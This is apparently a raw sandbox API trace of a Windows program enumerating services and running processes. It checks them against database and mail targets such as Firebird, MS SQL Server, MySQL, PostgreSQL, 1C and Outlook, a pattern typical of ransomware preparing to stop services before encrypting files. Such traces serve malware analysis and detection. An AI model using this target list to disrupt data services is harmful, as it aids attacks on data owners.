lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0256.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0256.308] lstrlenW (lpString="DcomLaunch") returned 10 [0256.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0256.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0256.308] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0256.308] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0256.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0256.308] lstrlenW (lpString="Dhcp") returned 4 [0256.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0256.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0256.308] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0256.308] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0256.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0256.308] lstrlenW (lpString="Dnscache") returned 8 [0256.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0256.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0256.308] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0256.308] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0256.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0256.308] lstrlenW (lpString="DPS") returned 3 [0256.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0256.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0256.308] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0256.308] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0256.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0256.308] lstrlenW (lpString="eventlog") returned 8 [0256.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0256.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0256.308] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0256.308] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0256.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0256.308] lstrlenW (lpString="EventSystem") returned 11 [0256.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0256.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0256.309] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0256.309] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0256.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0256.309] lstrlenW (lpString="gpsvc") returned 5 [0256.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0256.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0256.309] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0256.309] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0256.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0256.309] lstrlenW (lpString="LanmanWorkstation") returned 17 [0256.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0256.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0256.309] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0256.309] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0256.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0256.309] lstrlenW (lpString="lmhosts") returned 7 [0256.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0256.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0256.309] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0256.309] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0256.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0256.309] lstrlenW (lpString="MMCSS") returned 5 [0256.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0256.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0256.309] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0256.309] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0256.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0256.309] lstrlenW (lpString="MpsSvc") returned 6 [0256.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0256.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0256.309] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0256.309] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0256.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0256.309] lstrlenW (lpString="NlaSvc") returned 6 [0256.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0256.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0256.310] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0256.310] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0256.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0256.310] lstrlenW (lpString="nsi") returned 3 [0256.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0256.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0256.310] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0256.310] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0256.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0256.310] lstrlenW (lpString="PcaSvc") returned 6 [0256.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0256.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0256.310] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0256.310] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0256.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0256.310] lstrlenW (lpString="PlugPlay") returned 8 [0256.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0256.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0256.310] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0256.310] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0256.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0256.310] lstrlenW (lpString="Power") returned 5 [0256.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0256.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0256.310] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0256.310] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0256.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0256.310] lstrlenW (lpString="ProfSvc") returned 7 [0256.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0256.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0256.310] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0256.310] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0256.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0256.310] lstrlenW (lpString="RpcEptMapper") returned 12 [0256.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0256.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0256.310] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0256.311] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0256.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0256.311] lstrlenW (lpString="RpcSs") returned 5 [0256.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0256.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0256.311] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0256.311] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0256.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0256.311] lstrlenW (lpString="SamSs") returned 5 [0256.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0256.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0256.311] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0256.311] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0256.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0256.311] lstrlenW (lpString="Schedule") returned 8 [0256.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0256.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0256.311] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0256.311] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0256.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0256.311] lstrlenW (lpString="SENS") returned 4 [0256.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0256.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0256.311] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0256.311] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0256.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0256.311] lstrlenW (lpString="ShellHWDetection") returned 16 [0256.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0256.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0256.311] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0256.311] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0256.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0256.311] lstrlenW (lpString="Spooler") returned 7 [0256.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0256.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0256.312] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0256.312] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0256.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0256.312] lstrlenW (lpString="SysMain") returned 7 [0256.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0256.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0256.312] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0256.312] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0256.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0256.312] lstrlenW (lpString="Themes") returned 6 [0256.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0256.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0256.312] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0256.312] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0256.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0256.312] lstrlenW (lpString="TrkWks") returned 6 [0256.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0256.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0256.312] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0256.312] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0256.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0256.312] lstrlenW (lpString="UxSms") returned 5 [0256.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0256.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0256.312] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0256.312] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0256.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0256.312] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x4232878 | out: hHeap=0x530000) returned 1 [0256.312] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x204 [0256.321] Process32FirstW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0256.321] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0256.321] lstrlenW (lpString="System") returned 6 [0256.321] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0256.321] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0256.321] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0256.321] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0256.321] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0256.321] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0256.322] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0256.322] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0256.322] lstrlenW (lpString="smss.exe") returned 8 [0256.322] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0256.322] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0256.322] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0256.322] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0256.322] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0256.322] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0256.322] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0256.322] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0256.322] lstrlenW (lpString="csrss.exe") returned 9 [0256.322] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0256.322] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0256.322] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0256.322] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0256.322] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0256.322] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0256.322] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0256.323] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0256.325] lstrlenW (lpString="wininit.exe") returned 11 [0256.325] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0256.325] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0256.325] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0256.325] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0256.325] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0256.325] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0256.325] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0256.325] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0256.326] lstrlenW (lpString="csrss.exe") returned 9 [0256.326] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0256.326] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0256.326] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0256.326] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0256.326] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0256.326] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0256.326] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0256.326] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0256.326] lstrlenW (lpString="winlogon.exe") returned 12 [0256.326] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0256.326] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0256.326] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0256.326] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0256.326] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0256.326] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0256.326] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0256.326] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0256.327] lstrlenW (lpString="services.exe") returned 12 [0256.327] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0256.327] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0256.327] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0256.327] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0256.327] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0256.327] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0256.327] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0256.327] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0256.327] lstrlenW (lpString="lsass.exe") returned 9 [0256.327] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0256.327] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0256.327] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0256.327] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0256.327] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0256.327] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0256.327] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0256.327] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0256.328] lstrlenW (lpString="lsm.exe") returned 7 [0256.328] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0256.328] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0256.328] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0256.328] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0256.328] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0256.328] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0256.328] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0256.328] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.328] lstrlenW (lpString="svchost.exe") returned 11 [0256.328] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0256.328] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0256.328] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0256.328] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0256.328] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0256.328] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0256.328] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0256.328] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.329] lstrlenW (lpString="svchost.exe") returned 11 [0256.329] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0256.329] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0256.329] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0256.329] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0256.329] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0256.329] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0256.329] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0256.329] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.329] lstrlenW (lpString="svchost.exe") returned 11 [0256.329] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0256.329] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0256.330] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0256.330] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0256.330] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0256.330] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0256.330] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0256.330] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.330] lstrlenW (lpString="svchost.exe") returned 11 [0256.330] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.330] lstrlenW (lpString="svchost.exe") returned 11 [0256.330] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0256.331] lstrlenW (lpString="audiodg.exe") returned 11 [0256.331] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.331] lstrlenW (lpString="svchost.exe") returned 11 [0256.331] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.331] lstrlenW (lpString="svchost.exe") returned 11 